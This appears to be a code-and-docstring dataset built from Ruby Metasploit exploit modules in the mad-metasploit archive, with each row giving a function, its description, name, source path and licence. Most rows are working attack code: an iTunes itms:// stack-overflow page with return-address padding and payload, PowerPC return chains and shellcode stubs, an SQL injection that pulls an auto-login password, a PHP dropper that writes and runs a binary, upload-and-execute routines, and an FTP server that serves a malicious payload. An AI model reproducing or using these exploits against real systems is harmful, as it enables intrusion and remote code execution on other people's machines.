Handle a strange byteswapping issue on PPC
|
ppc_byteswap
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/16875.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/16875.rb
|
MIT
|
def exploit
# The correct extension name is necessary because that's how the LauncherServices
# determines how to open the file.
ext = (target.name =~ /java/i) ? '.jar' : '.sh'
@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext
# Start the FTP server
start_service()
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
# Create our own HTTP server
# We will stay in this functino until we manually terminate execution
start_http()
end
|
Start the FTP aand HTTP server
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def lookup_lhost(c=nil)
# Get the source address
if datastore['SRVHOST'] == '0.0.0.0'
Rex::Socket.source_address( c || '50.50.50.50')
else
datastore['SRVHOST']
end
end
|
Lookup the right address for the client
|
lookup_lhost
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def on_client_connect(c)
r = super(c)
@state[c][:payload] = regenerate_payload(c).encoded
r
end
|
Override the client connection method and
initialize our payload
|
on_client_connect
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def on_client_command_list(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
print_status("Data connection setup")
c.put("150 Here comes the directory listing\r\n")
print_status("Sending directory list via data connection")
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
m = month_names[Time.now.month-1]
d = Time.now.day
y = Time.now.year
dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"
conn.put(dir)
conn.close
print_status("Directory sent ok")
c.put("226 Transfer ok\r\n")
return
end
|
Handle FTP LIST request (send back the directory listing)
|
on_client_command_list
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def on_client_command_retr(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 can't build data connection\r\n")
return
end
print_status("Connection for file transfer accepted")
c.put("150 Connection accepted\r\n")
# Send out payload
conn.put(@state[c][:payload])
conn.close
return
end
|
Handle the FTP RETR request. This is where we transfer our actual malicious payload
|
on_client_command_retr
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
end
end
|
Handle the HTTP request and return a response. Code borrorwed from:
msf/core/exploit/http/server.rb
|
start_http
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def cleanup
super
# Kill FTP
stop_service()
# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end
|
Kill HTTP/FTP (shut them down and clear resources)
|
cleanup
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def use_zlib
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
end
end
|
Ensures that gzip can be used. If not, an exception is generated. The
exception is only raised if the DisableGzip advanced option has not been
set.
|
use_zlib
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def resource_uri
path = datastore['URIPATH'] || random_uri
path = '/' + path if path !~ /^\//
datastore['URIPATH'] = path
return path
end
|
Returns the configured (or random, if not configured) URI path
|
resource_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def send_response(cli, code, message='OK', html='')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'text/html'
res.body = html
cli.send_response(res)
end
|
Create an HTTP response and then send it
|
send_response
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/17986.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/17986.rb
|
MIT
|
def generate_itms_page(p)
# Set the base itms url.
# itms:// or itmss:// can be used. The trailing colon is used
# to start the attack. All data after the colon is copied to the
# stack buffer.
itms_base_url = "itms://:"
itms_base_url << "A"*268 # Fill up the real buffer
itms_base_url << "XXXXAAAAZZZZYYYY" # $ebx, $esi, $edi, $ebp
itms_base_url << target['Addr'] # hullo there, jmp *%ecx!
# The first '/' in the buffer will terminate the copy to the stack buffer.
# In addition, $ecx will be left pointing to the last 6 bytes of the heap
# buffer containing the full URL. However, if a colon and a ? occur after
# the value in ecx will point to that point in the heap buffer. In our
# case, it will point to the beginning. The ! is there to make the
# alphanumeric shellcode execute easily. (This is why we need an offset
# of 3 in the payload).
itms_base_url << "/:!?" # Truncate the stack overflow and prep for payload
itms_base_url << p # Wooooooo! Payload time.
# We drop on a few extra bytes as the last few bytes can sometimes be
# corrupted.
itms_base_url << "AAAA"
# Use the pattern creator to simplify exploit creation :)
# itms_base_url << Rex::Text.pattern_create(1024,
# Rex::Text::DefaultPatternSets)
# Return back an example URL. Using an iframe doesn't work with all
# browsers, but that's easy enough to fix if you need to.
return String(<<-EOS)
<html><head><title>iTunes loading . . .</title></head>
<body>
<script>document.location.assign("#{itms_base_url}");</script>
<p>iTunes should open automatically, but if it doesn't, click to
<a href="#{itms_base_url}">continue</a>.</p>
</body>
</html>
EOS
end
|
Generate distribution script, which calls our payload using JavaScript.
|
generate_itms_page
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/8861.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/8861.rb
|
MIT
|
def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret
frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0c" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret
setjmp = target['setjmp']
writable = target['Writable']
strdup = target['strdup']
jmp_eax = target['jmp_eax']
exec_payload_from_heap_stub =
frag0 +
[setjmp].pack('V') +
[writable + 32, writable].pack("V2") +
frag1 +
"X" * 20 +
[setjmp].pack('V') +
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
"X" * 4
end
|
#####
XXX: This does not work on Tiger apparently
|
make_exec_payload_from_heap_stub
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/9925.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/9925.rb
|
MIT
|
def exploit
connect
# The offset to the return address is dependent on the length of our hostname
# as the target system resolves it ( IP or reverse DNS ).
mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
basel = 285 - mhost.length
print_status("Trying target #{target.name}...")
# ret = 296
# r25 = 260
# r26 = 264
# r27 = 268
# r28 = 272
# r29 = 276
# r30 = 280
# r31 = 284
# r1+120 = 408
buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
buf[basel , 4] = [ target['Rets'][1] ].pack('N') # getgid()
buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
buf << payload.encoded
send_cmd( ['USER', buf] , true )
send_cmd( ['HELP'] , true )
handler
disconnect
end
|
crazy dino 5-hop foo
$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
$r28 = pack('N', 0x90034d60); # getgid()
$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
$r30 = pack('N', 0x90023590); # call $r3
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/osx/remote/9928.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/osx/remote/9928.rb
|
MIT
|
def check
uri = target_uri.path
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{uri}")
response = send_request_raw({ 'uri' => uri })
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
return Exploit::CheckCode::Unknown
end
response = send_request_raw({ 'uri' => uri + '?-s'})
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
return Exploit::CheckCode::Vulnerable
end
print_error("Server responded indicating it was not vulnerable")
return Exploit::CheckCode::Safe
end
|
php-cgi -h
...
-s Display colour syntax highlighted source.
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/18834.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/18834.rb
|
MIT
|
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end
|
Embed our binary in PHP, and then extract/execute it on the host.
|
get_write_exec_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/21138.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/21138.rb
|
MIT
|
def do_login(base)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/admin/login.php",
'vars_post' => {
'userID' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/
return res.headers['Set-Cookie']
else
return ''
end
end
|
login unfortunately is needed, because we need to make sure blogID is set, and the upload
script (uploadContent.inc.php) doesn't actually do that, even though we can access it
directly.
|
do_login
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/21138.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/21138.rb
|
MIT
|
def upload_exec(cookie, base, php_fname, p)
data = Rex::MIME::Message.new
data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")
# The app doesn't really like the extra "\r\n", so we need to remove the newline.
post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/admin/manage.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie,
'headers' => {
'Referer' => "http://#{rhost}#{base}/admin/manage.php",
'Origin' => "http://#{rhost}"
}
})
if not res
print_error("#{@peer} - No response from host")
return
end
target_path = "#{base}/blogs/download/uploads/#{php_fname}"
print_status("#{@peer} - Requesting '#{target_path}'...")
res = send_request_raw({'uri'=>target_path})
if res and res.code == 404
print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
return
end
handler
end
|
Upload our payload, and then execute it.
|
upload_exec
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/21138.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/21138.rb
|
MIT
|
def check
# login
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
unless login(datastore['USERNAME'], datastore['PASSWORD'])
return Exploit::CheckCode::Unknown
end
# send check
fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
print_status("#{peer} - Sending check")
begin
res = execute_command("echo #{fingerprint}")
if res and res.body =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
elsif res
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown
end
|
Check credentials are valid and confirm command execution
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/29325.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/29325.rb
|
MIT
|
def check
print_status("#{peer} - Checking version...")
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
if not res
print_error("#{peer} - Request timed out")
return Exploit::CheckCode::Unknown
elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
version = "#{$1}"
print_good("#{peer} - Found version: #{version}")
if version >= "0.9.2" and version <= "0.9.2.1306"
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
Exploit::CheckCode::Unknown
end
|
Checks if target is Kimai version 0.9.2.x
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/30010.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/30010.rb
|
MIT
|
def check
res = send_request_raw({
'uri' => normalize_uri(target_uri.path, 'upload.php'),
'cookie' => 'access=3'
})
unless res
vprint_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.body and res.body.to_s =~ /File Uploading Has Been Disabled/
vprint_error("#{peer} - File uploads are disabled")
return Exploit::CheckCode::Safe
end
if res.body and res.body.to_s =~ /Upload File/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
|
Checks if target allows file uploads
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/31264.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/31264.rb
|
MIT
|
def check
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')
if !res
vprint_error "#{peer} - Connection failed"
return Exploit::CheckCode::Unknown
elsif res.code == 404
vprint_error "#{peer} - Could not find install.php"
elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</
vprint_error "#{peer} - #{$1} is not writable"
elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</
version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first
vprint_status "#{peer} - Found version: #{version}"
if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/
return Exploit::CheckCode::Vulnerable
else
vprint_error "#{peer} - HybridAuth version #{version} is not vulnerable"
end
end
Exploit::CheckCode::Safe
end
|
Check:
* install.php exists
* config.php is writable
* HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/34390.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/34390.rb
|
MIT
|
def on_request_uri(cli, request)
if @zip && request.uri =~ /\.zip$/
print_status("Sending the ZIP archive...")
send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
return
end
print_status("Sending not found...")
send_not_found(cli)
end
|
Handle incoming requests from the server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/35033.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/35033.rb
|
MIT
|
def authenticate
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => {
'login' => "1",
},
'vars_post' => {
'nick' => datastore['USER'],
'pass' => datastore['PASS'],
'Login' => 'Login',
}
})
return auth_succeeded?(res)
end
|
Attempt to login with credentials (default admin:pandora)
|
authenticate
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/35380.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/35380.rb
|
MIT
|
def login_hash
clue = rand_text_alpha(8)
sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join
# select value from tconfig where token = 'loginhash_pwd';
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
sqli << "BY x)a) AND 'msf'='msf"
password = inject_sql(sqli, clue)
if password && password.length != 0
print_status("#{peer} - Extracted auto login password (#{password})")
else
print_error("#{peer} - No auto login password has been defined!")
return false
end
print_status("#{peer} - Attempting to authenticate using (admin:#{password})")
# Attempt to login using login hash password
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => {
'loginhash' => 'auto',
},
'vars_post' => {
'loginhash_data' => Rex::Text.md5("admin#{password}"),
'loginhash_user' => 'admin',
}
})
return auth_succeeded?(res)
end
|
Attempt to login with auto login and SQLi
|
login_hash
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/35380.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/35380.rb
|
MIT
|
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'process-upload.php')
)
if !res
vprint_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
elsif res.code.to_i == 404
vprint_error("#{peer} - No process-upload.php found")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 500
vprint_error("#{peer} - Unable to write file")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
vprint_error("#{peer} - File process-upload.php is not executable")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
vprint_error("#{peer} - Software is misconfigured")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
# response on revision 118 onwards includes the file name
if res.body && res.body =~ /NewFileName/
return Exploit::CheckCode::Vulnerable
# response on revisions 100 to 117 does not include the file name
elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
return Exploit::CheckCode::Appears
elsif res.body && res.body =~ /Failed to open output stream/
vprint_error("#{peer} - Upload folder is not writable")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end
|
Checks if target upload functionality is working
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/php/remote/35660.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/php/remote/35660.rb
|
MIT
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.